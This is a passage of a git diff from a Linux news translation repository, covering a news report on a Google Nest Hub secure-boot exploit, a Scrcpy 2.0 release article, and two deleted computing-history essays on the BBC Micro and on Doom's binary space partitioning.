to run Ubuntu. - -Of course, Google Nest Hub does not officially support booting a custom OS. But, a security vulnerability allowed Fred to use an exploit and run Ubuntu. - -While this is fun, it is also a severe problem for an always-connected smart home display by Google. - -As explained in his [blog post][2], the hacker utilized a Raspberry Pi Pico microcontroller to exploit a USB bug in the bootloader to break the secure boot chain. - -The security expert concluded: - -> As a result, an attacker can execute arbitrary code at early boot stage (before kernel execution) by plugging a malicious USB device and pressing two buttons - -He has also made the bootloader exploit available on [GitHub][3], if you want to experiment (suited for security researchers). - -### Making Ubuntu Work on Google Nest - -![][4] - -The exploit allowed the attacker to boot an unsigned OS. However, he had to make some modifications with the preinstalled Ubuntu image tailored for Raspberry Pi (64-bit ARM). - -Here’s what he mentions about it: - -> We build a custom U-Boot bootloader with secure boot disabled and boot flow altered to load environment from USB flash drive. We also build a custom Linux kernel for elaine with [additionnal d][5]r[ivers like USB mouse][6]. The initial ramdisk (initrd) from Ubuntu is repacked to integrate firmware binaries required for the touchscreen. The boot image is created based on the custom Linux kernel and modified initrd. - -So, it is evident that you will not get a full-fledged Ubuntu experience, but thanks to the exploit, we now know that Ubuntu can run on a Google Nest as an experiment if you’re willing to break your Google Nest for the test (don’t do that, really!). - -### Smart Home Security Concern + Linux - -The cybersecurity expert mentions that the vulnerability has been fixed upstream (twice). - -But, the lack of CVE may have influenced the fix not propagating downstream, as the researcher suggests. - -Undoubtedly, seeing Linux running on an unsupported device is awesome. Makes me wonder if we should have someone make **commercial smart home devices powered by Linux?** - -*Is there something like that already available?* - -Nevertheless, it is equally concerning for smart home devices to be vulnerable to easy attacks. - -What do you think? Share your thoughts in the comments down below. - -**Via**: [Liliputing][7] - --------------------------------------------------------------------------------- - -via: https://news.itsfoss.com/ubuntu-google-nest/ - -作者:[Ankush Das][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://news.itsfoss.com/author/ankush/ -[b]: https://github.com/lkxed -[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/hacker-installs-ubuntu-on-google-nest-hub.jpg -[2]: https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html -[3]: https://github.com/frederic/chipicopwn -[4]: https://news.itsfoss.com/wp-content/uploads/2022/06/ubuntu-google-nest.jpg -[5]: https://github.com/frederic/elaine-linux/commit/11068237d9178e77d79e3a5d27fc4f8f9b923c51 -[6]: https://github.com/frederic/elaine-linux/commit/11068237d9178e77d79e3a5d27fc4f8f9b923c51 -[7]: https://liliputing.com/2022/06/hacker-installs-ubuntu-on-a-google-nest-hub-2nd-gen-smart-display.html diff --git a/sources/news/20230313.1 ⭐️ Scrcpy 2.0 Released with Audio Forwarding from Android to PC.md b/sources/news/20230313.1 ⭐️ Scrcpy 2.0 Released with Audio Forwarding from Android to PC.md new file mode 100644 index 0000000000..9a17450ae9 --- /dev/null +++ b/sources/news/20230313.1 ⭐️ Scrcpy 2.0 Released with Audio Forwarding from Android to PC.md @@ -0,0 +1,68 @@ +[#]: subject: "Scrcpy 2.0 Released with Audio Forwarding from Android to PC" +[#]: via: "https://debugpointnews.com/scrcpy-2-0-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Scrcpy 2.0 Released with Audio Forwarding from Android to PC +====== + +**A new release of Scrcpy 2.0 is here with the most requested feature of audio forwarding.** + +Scrcpy, a free and open-source tool that allows users to control their Android devices from their computer. It has released its latest version, Scrcpy 2.0. With this newest update, users can now mirror their Android screens on not only their computer but also forward audio from their device to their computer. + +![Scrcpy running - Image credit Reddit][1] + +### Scrcpy 2.0: New features + +Audio forwarding was the most requested feature of this great utility. The developer worked with various solutions earlier, such as USBaudio to bring in this feature. But none of the POCs was viable for significant use cases. + +Things changed when Google introduced audio capture API in the Android 10 release on September 2019. With this new API, it’s now easier to implement this feature with several tweaks to control the latency of Audio from your Android device to your computer. + +Furthermore, Scrcpy 2.0 also supports the option to choose video and audio codecs. The device screen can now be encoded in H.265, or even AV1 if your device supports AV1 encoding. + +``` +scrcpy --audio-codec=opus --audio-bit-rate=16k +scrcpy --audio-codec=aac --audio-bit-rate=16k +``` + +In addition, you can also control the audio buffering via the command line to tweak it for your use case. + +``` +scrcpy --video-codec=h265 --display-buffer=200 --audio-buffer=200 +``` + +### Android version support + +This new feature works out-of-the-box for Android 12 or newer (all modern mobile phones). However, for Android 11, you must unlock the device screen while using audio forwarding. + +Scrcpy is a powerful tool that can be used for various purposes, from gaming and multimedia playback to productivity and remote technical support. With its latest update, Scrcpy 2.0, the tool has become even more versatile and user-friendly, making it an excellent choice for anyone looking to mirror and control their Android device on their computer. + +### Wrapping Up + +You can learn more about this new version on the official announcement [page][2]. A download and installation instruction is present [here][3], if you want to try it out. + +For Linux distributions, you can install them using the instructions present [here][4]. + +_Via [announcement][2]_ + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/scrcpy-2-0-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/03/Scrcpy-running-Image-credit-Reddit.jpg +[2]: https://blog.rom1v.com/2023/03/scrcpy-2-0-with-audio/ +[3]: https://github.com/Genymobile/scrcpy/blob/master/README.md#get-the-app +[4]: https://github.com/Genymobile/scrcpy/blob/master/doc/linux.md \ No newline at end of file diff --git a/sources/talk/20190331 Codecademy vs. The BBC Micro.md b/sources/talk/20190331 Codecademy vs. The BBC Micro.md deleted file mode 100644 index bb5ee313c8..0000000000 --- a/sources/talk/20190331 Codecademy vs. The BBC Micro.md +++ /dev/null @@ -1,145 +0,0 @@ -[#]: subject: "Codecademy vs. The BBC Micro" -[#]: via: "https://twobithistory.org/2019/03/31/bbc-micro.html" -[#]: author: "Two-Bit History https://twobithistory.org" -[#]: collector: "lujun9972" -[#]: translator: "yesimmia" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Codecademy vs. The BBC Micro -====== - -In the late 1970s, the computer, which for decades had been a mysterious, hulking machine that only did the bidding of corporate overlords, suddenly became something the average person could buy and take home. An enthusiastic minority saw how great this was and rushed to get a computer of their own. For many more people, the arrival of the microcomputer triggered helpless anxiety about the future. An ad from a magazine at the time promised that a home computer would “give your child an unfair advantage in school.” It showed a boy in a smart blazer and tie eagerly raising his hand to answer a question, while behind him his dim-witted classmates look on sullenly. The ad and others like it implied that the world was changing quickly and, if you did not immediately learn how to use one of these intimidating new devices, you and your family would be left behind. - -In the UK, this anxiety metastasized into concern at the highest levels of government about the competitiveness of the nation. The 1970s had been, on the whole, an underwhelming decade for Great Britain. Both inflation and unemployment had been high. Meanwhile, a series of strikes put London through blackout after blackout. A government report from 1979 fretted that a failure to keep up with trends in computing technology would “add another factor to our poor industrial performance.”[1][1] The country already seemed to be behind in the computing arena—all the great computer companies were American, while integrated circuits were being assembled in Japan and Taiwan. - -In an audacious move, the BBC, a public service broadcaster funded by the government, decided that it would solve Britain’s national competitiveness problems by helping Britons everywhere overcome their aversion to computers. It launched the _Computer Literacy Project_, a multi-pronged educational effort that involved several TV series, a few books, a network of support groups, and a specially built microcomputer known as the BBC Micro. The project was so successful that, by 1983, an editor for BYTE Magazine wrote, “compared to the US, proportionally more of Britain’s population is interested in microcomputers.”[2][2] The editor marveled that there were more people at the Fifth Personal Computer World Show in the UK than had been to that year’s West Coast Computer Faire. Over a sixth of Great Britain watched an episode in the first series produced for the _Computer Literacy Project_ and 1.5 million BBC Micros were ultimately sold.[3][3] - -[An archive][4] containing every TV series produced and all the materials published for the _Computer Literacy Project_ was put on the web last year. I’ve had a huge amount of fun watching the TV series and trying to imagine what it would have been like to learn about computing in the early 1980s. But what’s turned out to be more interesting is how computing was _taught_. Today, we still worry about technology leaving people behind. Wealthy tech entrepreneurs and governments spend lots of money trying to teach kids “to code.” We have websites like Codecademy that make use of new technologies to teach coding interactively. One would assume that this approach is more effective than a goofy ’80s TV series. But is it? - -### The Computer Literacy Project - -The microcomputer revolution began in 1975 with the release of [the Altair 8800][5]. Only two years later, the Apple II, TRS-80, and Commodore PET had all been released. Sales of the new computers exploded. In 1978, the BBC explored the dramatic societal changes these new machines were sure to bring in a documentary called “Now the Chips Are Down.” - -The documentary was alarming. Within the first five minutes, the narrator explains that microelectronics will “totally revolutionize our way of life.” As eerie synthesizer music plays, and green pulses of electricity dance around a magnified microprocessor on screen, the narrator argues that the new chips are why “Japan is abandoning its ship building, and why our children will grow up without jobs to go to.” The documentary goes on to explore how robots are being used to automate car assembly and how the European watch industry has lost out to digital watch manufacturers in the United States. It castigates the British government for not doing more to prepare the country for a future of mass unemployment. - -The documentary was supposedly shown to the British Cabinet.[4][6] Several government agencies, including the Department of Industry and the Manpower Services Commission, became interested in trying to raise awareness about computers among the British public. The Manpower Services Commission provided funds for a team from the BBC’s education division to travel to Japan, the United States, and other countries on a fact-finding trip. This research team produced a report that cataloged the ways in which microelectronics would indeed mean major changes for industrial manufacturing, labor relations, and office work. In late 1979, it was decided that the BBC should make a ten-part TV series that would help regular Britons “learn how to use and control computers and not feel dominated by them.”[5][7] The project eventually became a multimedia endeavor similar to the _Adult Literacy Project_, an earlier BBC undertaking involving both a TV series and supplemental courses that helped two million people improve their reading. - -The producers behind the _Computer Literacy Project_ were keen for the TV series to feature “hands-on” examples that viewers could try on their own if they had a microcomputer at home. These examples would have to be in BASIC, since that was the language (really the entire shell) used on almost all microcomputers. But the producers faced a thorny problem: Microcomputer manufacturers all had their own dialects of BASIC, so no matter which dialect they picked, they would inevitably alienate some large fraction of their audience. The only real solution was to create a new BASIC—BBC BASIC—and a microcomputer to go along with it. Members of the British public would be able to buy the new microcomputer and follow along without worrying about differences in software or hardware. - -The TV producers and presenters at the BBC were not capable of building a microcomputer on their own. So they put together a specification for the computer they had in mind and invited British microcomputer companies to propose a new machine that met the requirements. The specification called for a relatively powerful computer because the BBC producers felt that the machine should be able to run real, useful applications. Technical consultants for the _Computer Literacy Project_ also suggested that, if it had to be a BASIC dialect that was going to be taught to the entire nation, then it had better be a good one. (They may not have phrased it exactly that way, but I bet that’s what they were thinking.) BBC BASIC would make up for some of BASIC’s usual shortcomings by allowing for recursion and local variables.[6][8] - -The BBC eventually decided that a Cambridge-based company called Acorn Computers would make the BBC Micro. In choosing Acorn, the BBC passed over a proposal from Clive Sinclair, who ran a company called Sinclair Research. Sinclair Research had brought mass-market microcomputing to the UK in 1980 with the Sinclair ZX80. Sinclair’s new computer, the ZX81, was cheap but not powerful enough for the BBC’s purposes. Acorn’s new prototype computer, known internally as the Proton, would be more expensive but more powerful and expandable. The BBC was impressed. The Proton was never marketed or sold as the Proton because it was instead released in December 1981 as the BBC Micro, also affectionately called “The Beeb.” You could get a 16k version for £235 and a 32k version for £335. - -In 1980, Acorn was an underdog in the British computing industry. But the BBC Micro helped establish the company’s legacy. Today, the world’s most popular microprocessor instruction set is the ARM architecture. “ARM” now stands for “Advanced RISC Machine,” but originally it stood for “Acorn RISC Machine.” ARM Holdings, the company behind the architecture, was spun out from Acorn in 1990. - -![Picture of the BBC Micro.][9] _A bad picture of a BBC Micro, taken by me at the Computer History Museum -in Mountain View, California._ - -### The Computer Programme - -A dozen different TV series were eventually produced as part of the _Computer Literacy Project_, but the first of them was a ten-part series known as _The Computer Programme_. The series was broadcast over ten weeks at the beginning of 1982. A million people watched each week-night broadcast of the show; a quarter million watched the reruns on Sunday and Monday afternoon. - -The show was hosted by two presenters, Chris Serle and Ian McNaught-Davis. Serle plays the neophyte while McNaught-Davis, who had professional experience programming mainframe computers, plays the expert. This was an inspired setup. It made for [awkward transitions][10]—Serle often goes directly from a conversation with McNaught-Davis to a bit of walk-and-talk narration delivered to the camera, and you can’t help but wonder whether McNaught-Davis is still standing there out of frame or what. But it meant that Serle could voice the concerns that the audience would surely have. He can look intimidated by a screenful of BASIC and can ask questions like, “What do all these dollar signs mean?” At several points during the show, Serle and McNaught-Davis sit down in front of a computer and essentially pair program, with McNaught-Davis providing hints here and there while Serle tries to figure it out. It would have been much less relatable if the show had been presented by a single, all-knowing narrator. - -The show also made an effort to demonstrate the many practical applications of computing in the lives of regular people. By the early 1980s, the home computer had already begun to be associated with young boys and video games. The producers behind _The Computer Programme_ sought to avoid interviewing “impressively competent youngsters,” as that was likely “to increase the anxieties of older viewers,” a demographic that the show was trying to attract to computing.[7][11] In the first episode of the series, Gill Nevill, the show’s “on location” reporter, interviews a woman that has bought a Commodore PET to help manage her sweet shop. The woman (her name is Phyllis) looks to be 60-something years old, yet she has no trouble using the computer to do her accounting and has even started using her PET to do computer work for other businesses, which sounds like the beginning of a promising freelance career. Phyllis says that she wouldn’t mind if the computer work grew to replace her sweet shop business since she enjoys the computer work more. This interview could instead have been an interview with a teenager about how he had modified _Breakout_ to be faster and more challenging. But that would have been encouraging to almost nobody. On the other hand, if Phyllis, of all people, can use a computer, then surely you can too. - -While the show features lots of BASIC programming, what it really wants to teach its audience is how computing works in general. The show explains these general principles with analogies. In the second episode, there is an extended discussion of the Jacquard loom, which accomplishes two things. First, it illustrates that computers are not based only on magical technology invented yesterday—some of the foundational principles of computing go back two hundred years and are about as simple as the idea that you can punch holes in card to control a weaving machine. Second, the interlacing of warp and weft threads is used to demonstrate how a binary choice (does the weft thread go above or below the warp thread?) is enough, when repeated over and over, to produce enormous variation. This segues, of course, into a discussion of how information can be stored using binary digits. - -Later in the show there is a section about a steam organ that plays music encoded in a long, segmented roll of punched card. This time the analogy is used to explain subroutines in BASIC. Serle and McNaught-Davis lay out the whole roll of punched card on the floor in the studio, then point out the segments where it looks like a refrain is being repeated. McNaught-Davis explains that a subroutine is what you would get if you cut out those repeated segments of card and somehow added an instruction to go back to the original segment that played the refrain for the first time. This is a brilliant explanation and probably one that stuck around in people’s minds for a long time afterward. - -I’ve picked out only a few examples, but I think in general the show excels at demystifying computers by explaining the principles that computers rely on to function. The show could instead have focused on teaching BASIC, but it did not. This, it turns out, was very much a conscious choice. In a retrospective written in 1983, John Radcliffe, the executive producer of the _Computer Literacy Project_, wrote the following: - -> If computers were going to be as important as we believed, some genuine understanding of this new subject would be important for everyone, almost as important perhaps as the capacity to read and write. Early ideas, both here and in America, had concentrated on programming as the main route to computer literacy. However, as our thinking progressed, although we recognized the value of “hands-on” experience on personal micros, we began to place less emphasis on programming and more on wider understanding, on relating micros to larger machines, encouraging people to gain experience with a range of applications programs and high-level languages, and relating these to experience in the real world of industry and commerce…. Our belief was that once people had grasped these principles, at their simplest, they would be able to move further forward into the subject. - -Later, Radcliffe writes, in a similar vein: - -> There had been much debate about the main explanatory thrust of the series. One school of thought had argued that it was particularly important for the programmes to give advice on the practical details of learning to use a micro. But we had concluded that if the series was to have any sustained educational value, it had to be a way into the real world of computing, through an explanation of computing principles. This would need to be achieved by a combination of studio demonstration on micros, explanation of principles by analogy, and illustration on film of real-life examples of practical applications. Not only micros, but mini computers and mainframes would be shown. - -I love this, particularly the part about mini-computers and mainframes. The producers behind _The Computer Programme_ aimed to help Britons get situated: Where had computing been, and where was it going? What can computers do now, and what might they do in the future? Learning some BASIC was part of answering those questions, but knowing BASIC alone was not seen as enough to make someone computer literate. - -### Computer Literacy Today - -If you google “learn to code,” the first result you see is a link to Codecademy’s website. If there is a modern equivalent to the _Computer Literacy Project_, something with the same reach and similar aims, then it is Codecademy. - -“Learn to code” is Codecademy’s tagline. I don’t think I’m the first person to point this out—in fact, I probably read this somewhere and I’m now ripping it off—but there’s something revealing about using the word “code” instead of “program.” It suggests that the important thing you are learning is how to decode the code, how to look at a screen’s worth of Python and not have your eyes glaze over. I can understand why to the average person this seems like the main hurdle to becoming a professional programmer. Professional programmers spend all day looking at computer monitors covered in gobbledygook, so, if I want to become a professional programmer, I better make sure I can decipher the gobbledygook. But dealing with syntax is not the most challenging part of being a programmer, and it quickly becomes almost irrelevant in the face of much bigger obstacles. Also, armed only with knowledge of a programming language’s syntax, you may be able to _read_ code but you won’t be able to _write_ code to solve a novel problem. - -I recently went through Codecademy’s “Code Foundations” course, which is the course that the site recommends you take if you are interested in programming (as opposed to web development or data science) and have never done any programming before. There are a few lessons in there about the history of computer science, but they are perfunctory and poorly researched. (Thank heavens for [this noble internet vigilante][12], who pointed out a particularly egregious error.) The main focus of the course is teaching you about the common structural elements of programming languages: variables, functions, control flow, loops. In other words, the course focuses on what you would need to know to start seeing patterns in the gobbledygook. - -To be fair to Codecademy, they offer other courses that look meatier. But even courses such as their “Computer Science Path” course focus almost exclusively on programming and concepts that can be represented in programs. One might argue that this is the whole point—Codecademy’s main feature is that it gives you little interactive programming lessons with automated feedback. There also just isn’t enough room to cover more because there is only so much you can stuff into somebody’s brain in a little automated lesson. But the producers at the BBC tasked with kicking off the _Computer Literacy Project_ also had this problem; they recognized that they were limited by their medium and that “the amount of learning that would take place as a result of the television programmes themselves would be limited.”[8][13] With similar constraints on the volume of information they could convey, they chose to emphasize general principles over learning BASIC. Couldn’t Codecademy replace a lesson or two with an interactive visualization of a Jacquard loom weaving together warp and weft threads? - -I’m banging the drum for “general principles” loudly now, so let me just explain what I think they are and why they are important. There’s a book by J. Clark Scott about computers called _But How Do It Know?_ The title comes from the anecdote that opens the book. A salesman is explaining to a group of people that a thermos can keep hot food hot and cold food cold. A member of the audience, astounded by this new invention, asks, “But how do it know?” The joke of course is that the thermos is not perceiving the temperature of the food and then making a decision—the thermos is just constructed so that cold food inevitably stays cold and hot food inevitably stays hot. People anthropomorphize computers in the same way, believing that computers are digital brains that somehow “choose” to do one thing or another based on the code they are fed. But learning a few things about how computers work, even at a rudimentary level, takes the homunculus out of the machine. That’s why the Jacquard loom is such a good go-to illustration. It may at first seem like an incredible device. It reads punch cards and somehow “knows” to weave the right pattern! The reality is mundane: Each row of holes corresponds to a thread, and where there is a hole in that row the corresponding thread gets lifted. Understanding this may not help you do anything new with computers, but it will give you the confidence that you are not dealing with something magical. We should impart this sense of confidence to beginners as soon as we can. - -Alas, it’s possible that the real problem is that nobody wants to learn about the Jacquard loom. Judging by how Codecademy emphasizes the professional applications of what it teaches, many people probably start using Codecademy because they believe it will help them “level up” their careers. They believe, not unreasonably, that the primary challenge will be understanding the gobbledygook, so they want to “learn to code.” And they want to do it as quickly as possible, in the hour or two they have each night between dinner and collapsing into bed. Codecademy, which after all is a business, gives these people what they are looking for—not some roundabout explanation involving a machine invented in the 18th century. - -The _Computer Literacy Project_, on the other hand, is what a bunch of producers and civil servants at the BBC thought would be the best way to educate the nation about computing. I admit that it is a bit elitist to suggest we should laud this group of people for teaching the masses what they were incapable of seeking out on their own. But I can’t help but think they got it right. Lots of people first learned about computing using a BBC Micro, and many of these people went on to become successful software developers or game designers. [As I’ve written before][14], I suspect learning about computing at a time when computers were relatively simple was a huge advantage. But perhaps another advantage these people had is shows like _The Computer Programme_, which strove to teach not just programming but also how and why computers can run programs at all. After watching _The Computer Programme_, you may not understand all the gobbledygook on a computer screen, but you don’t really need to because you know that, whatever the “code” looks like, the computer is always doing the same basic thing. After a course or two on Codecademy, you understand some flavors of gobbledygook, but to you a computer is just a magical machine that somehow turns gobbledygook into running software. That isn’t computer literacy. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][15] on Twitter or subscribe to the [RSS feed][16] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> FINALLY some new damn content, amirite? -> -> Wanted to write an article about how Simula bought us object-oriented programming. It did that, but early Simula also flirted with a different vision for how OOP would work. Wrote about that instead! -> -> — TwoBitHistory (@TwoBitHistory) [February 1, 2019][17] - - 1. Robert Albury and David Allen, Microelectronics, report (1979). [↩︎][18] - - 2. Gregg Williams, “Microcomputing, British Style”, Byte Magazine, 40, January 1983, accessed on March 31, 2019, . [↩︎][19] - - 3. John Radcliffe, “Toward Computer Literacy,” Computer Literacy Project Achive, 42, accessed March 31, 2019, [https://computer-literacy-project.pilots.bbcconnectedstudio.co.uk/media/Towards Computer Literacy.pdf][20]. [↩︎][21] - - 4. David Allen, “About the Computer Literacy Project,” Computer Literacy Project Archive, accessed March 31, 2019, . [↩︎][22] - - 5. ibid. [↩︎][23] - - 6. Williams, 51. [↩︎][24] - - 7. Radcliffe, 11. [↩︎][25] - - 8. Radcliffe, 5. [↩︎][26] - - - - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2019/03/31/bbc-micro.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: tmp.zNBs2lK4Ca#fn:1 -[2]: tmp.zNBs2lK4Ca#fn:2 -[3]: tmp.zNBs2lK4Ca#fn:3 -[4]: https://computer-literacy-project.pilots.bbcconnectedstudio.co.uk/ -[5]: https://twobithistory.org/2018/07/22/dawn-of-the-microcomputer.html -[6]: tmp.zNBs2lK4Ca#fn:4 -[7]: tmp.zNBs2lK4Ca#fn:5 -[8]: tmp.zNBs2lK4Ca#fn:6 -[9]: https://twobithistory.org/images/beeb.jpg -[10]: https://twitter.com/TwoBitHistory/status/1112372000742404098 -[11]: tmp.zNBs2lK4Ca#fn:7 -[12]: https://twitter.com/TwoBitHistory/status/1111305774939234304 -[13]: tmp.zNBs2lK4Ca#fn:8 -[14]: https://twobithistory.org/2018/09/02/learning-basic.html -[15]: https://twitter.com/TwoBitHistory -[16]: https://twobithistory.org/feed.xml -[17]: https://twitter.com/TwoBitHistory/status/1091148050221944832?ref_src=twsrc%5Etfw -[18]: tmp.zNBs2lK4Ca#fnref:1 -[19]: tmp.zNBs2lK4Ca#fnref:2 -[20]: https://computer-literacy-project.pilots.bbcconnectedstudio.co.uk/media/Towards%20Computer%20Literacy.pdf -[21]: tmp.zNBs2lK4Ca#fnref:3 -[22]: tmp.zNBs2lK4Ca#fnref:4 -[23]: tmp.zNBs2lK4Ca#fnref:5 -[24]: tmp.zNBs2lK4Ca#fnref:6 -[25]: tmp.zNBs2lK4Ca#fnref:7 -[26]: tmp.zNBs2lK4Ca#fnref:8 diff --git a/sources/talk/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md b/sources/talk/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md deleted file mode 100644 index 8f71021591..0000000000 --- a/sources/talk/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md +++ /dev/null @@ -1,173 +0,0 @@ -[#]: subject: "How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom?" -[#]: via: "https://twobithistory.org/2019/11/06/doom-bsp.html" -[#]: author: "Two-Bit History https://twobithistory.org" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom? -====== - -In 1993, id Software released the first-person shooter _Doom_, which quickly became a phenomenon. The game is now considered one of the most influential games of all time. - -A decade after _Doom_’s release, in 2003, journalist David Kushner published a book about id Software called _Masters of Doom_, which has since become the canonical account of _Doom_’s creation. I read _Masters of Doom_ a few years ago and don’t remember much of it now, but there was one story in the book about lead programmer John Carmack that has stuck with me. This is a loose gloss of the story (see below for the full details), but essentially, early in the development of _Doom_, Carmack realized that the 3D renderer he had written for the game slowed to a crawl when trying to render certain levels. This was unacceptable, because _Doom_ was supposed to be action-packed and frenetic. So Carmack, realizing the problem with his renderer was fundamental enough that he would need to find a better rendering algorithm, started reading research papers. He eventually implemented a technique called “binary space partitioning,” never before used in a video game, that dramatically sped up the _Doom_ engine. - -That story about Carmack applying cutting-edge academic research to video games has always impressed me. It is my explanation for why Carmack has become such a legendary figure. He deserves to be known as the archetypal genius video game programmer for all sorts of reasons, but this episode with the academic papers and the binary space partitioning is the justification I think of first. - -Obviously, the story is impressive because “binary space partitioning” sounds like it would be a difficult thing to just read about and implement yourself. I’ve long assumed that what Carmack did was a clever intellectual leap, but because I’ve never understood what binary space partitioning is or how novel a technique it was when Carmack decided to use it, I’ve never known for sure. On a spectrum from Homer Simpson to Albert Einstein, how much of a genius-level move was it really for Carmack to add binary space partitioning to _Doom_? - -I’ve also wondered where binary space partitioning first came from and how the idea found its way to Carmack. So this post is about John Carmack and _Doom_, but it is also about the history of a data structure: the binary space partitioning tree (or BSP tree). It turns out that the BSP tree, rather interestingly, and like so many things in computer science, has its origins in research conducted for the military. - -That’s right: E1M1, the first level of _Doom_, was brought to you by the US Air Force. - -### The VSD Problem - -The BSP tree is a solution to one of the thorniest problems in computer graphics. In order to render a three-dimensional scene, a renderer has to figure out, given a particular viewpoint, what can be seen and what cannot be seen. This is not especially challenging if you have lots of time, but a respectable real-time game engine needs to figure out what can be seen and what cannot be seen at least 30 times a second. - -This problem is sometimes called the problem of visible surface determination. Michael Abrash, a programmer who worked with Carmack on _Quake_ (id Software’s follow-up to _Doom_), wrote about the VSD problem in his famous _Graphics Programming Black Book_: - -> I want to talk about what is, in my opinion, the toughest 3-D problem of all: visible surface determination (drawing the proper surface at each pixel), and its close relative, culling (discarding non-visible polygons as quickly as possible, a way of accelerating visible surface determination). In the interests of brevity, I’ll use the abbreviation VSD to mean both visible surface determination and culling from now on. - -> Why do I think VSD is the toughest 3-D challenge? Although rasterization issues such as texture mapping are fascinating and important, they are tasks of relatively finite scope, and are being moved into hardware as 3-D accelerators appear; also, they only scale with increases in screen resolution, which are relatively modest. - -> In contrast, VSD is an open-ended problem, and there are dozens of approaches currently in use. Even more significantly, the performance of VSD, done in an unsophisticated fashion, scales directly with scene complexity, which tends to increase as a square or cube function, so this very rapidly becomes the limiting factor in rendering realistic worlds.[1][1] - -Abrash was writing about the difficulty of the VSD problem in the late ’90s, years after _Doom_ had proved that regular people wanted to be able to play graphically intensive games on their home computers. In the early ’90s, when id Software first began publishing games, the games had to be programmed to run efficiently on computers not designed to run them, computers meant for word processing, spreadsheet applications, and little else. To make this work, especially for the few 3D games that id Software published before _Doom_, id Software had to be creative. In these games, the design of all the levels was constrained in such a way that the VSD problem was easier to solve. - -For example, in _Wolfenstein 3D_, the game id Software released just prior to _Doom_, every level is made from walls that are axis-aligned. In other words, in the Wolfenstein universe, you can have north-south walls or west-east walls, but nothing else. Walls can also only be placed at fixed intervals on a grid—all hallways are either one grid square wide, or two grid squares wide, etc., but never 2.5 grid squares wide. Though this meant that the id Software team could only design levels that all looked somewhat the same, it made Carmack’s job of writing a renderer for _Wolfenstein_ much simpler. - -The _Wolfenstein_ renderer solved the VSD problem by “marching” rays into the virtual world from the screen. Usually a renderer that uses rays is a “raycasting” renderer—these renderers are often slow, because solving the VSD problem in a raycaster involves finding the first intersection between a ray and something in your world, which in the general case requires lots of number crunching. But in _Wolfenstein_, because all the walls are aligned with the grid, the only location a ray can possibly intersect a wall is at the grid lines. So all the renderer needs to do is check each of those intersection points. If the renderer starts by checking the intersection point nearest to the player’s viewpoint, then checks the next nearest, and so on, and stops when it encounters the first wall, the VSD problem has been solved in an almost trivial way. A ray is just marched forward from each pixel until it hits something, which works because the marching is so cheap in terms of CPU cycles. And actually, since all walls are the same height, it is only necessary to march a single ray for every _column_ of pixels. - -This rendering shortcut made _Wolfenstein_ fast enough to run on underpowered home PCs in the era before dedicated graphics cards. But this approach would not work for _Doom_, since the id team had decided that their new game would feature novel things like diagonal walls, stairs, and ceilings of different heights. Ray marching was no longer viable, so Carmack wrote a different kind of renderer. Whereas the _Wolfenstein_ renderer, with its ray for every column of pixels, is an “image-first” renderer, the _Doom_ renderer is an “object-first” renderer. This means that rather than iterating through the pixels on screen and figuring out what color they should be, the _Doom_ renderer iterates through the objects in a scene and projects each onto the screen in turn. - -In an object-first renderer, one easy way to solve the VSD problem is to use a z-buffer. Each time you project an object onto the screen, for each pixel you want to draw to, you do a check. If the part of the object you want to draw is closer to the player than what was already drawn to the pixel, then you can overwrite what is there. Otherwise you have to leave the pixel as is. This approach is simple, but a z-buffer requires a lot of memory, and the renderer may still expend a lot of CPU cycles projecting level geometry that is never going to be seen by the player. - -In the early 1990s, there was an additional drawback to the z-buffer approach: On IBM-compatible PCs, which used a video adapter system called VGA, writing to the output frame buffer was an expensive operation. So time spent drawing pixels that would only get overwritten later tanked the performance of your renderer. - -Since writing to the frame buffer was so expensive, the ideal renderer was one that started by drawing the objects closest to the player, then the objects just beyond those objects, and so on, until every pixel on screen had been written to. At that point the renderer would know to stop, saving all the time it might have spent considering far-away objects that the player cannot see. But ordering the objects in a scene this way, from closest to farthest, is tantamount to solving the VSD problem. Once again, the question is: What can be seen by the player? - -Initially, Carmack tried to solve this problem by relying on the layout of _Doom_’s levels. His renderer started by drawing the walls of the room currently occupied by the player, then flooded out into neighboring rooms to draw the walls in those rooms that could be seen from the current room. Provided that every room was convex, this solved the VSD issue. Rooms that were not convex could be split into convex “sectors.” You can see how this rendering technique might have looked if run at extra-slow speed [in this video][2], where YouTuber Bisqwit demonstrates a renderer of his own that works according to the same general algorithm. This algorithm was successfully used in Duke Nukem 3D, released three years after _Doom_, when CPUs were more powerful. But, in 1993, running on the hardware then available, the _Doom_ renderer that used this algorithm struggled with complicated levels—particularly when sectors were nested inside of each other, which was the only way to create something like a circular pit of 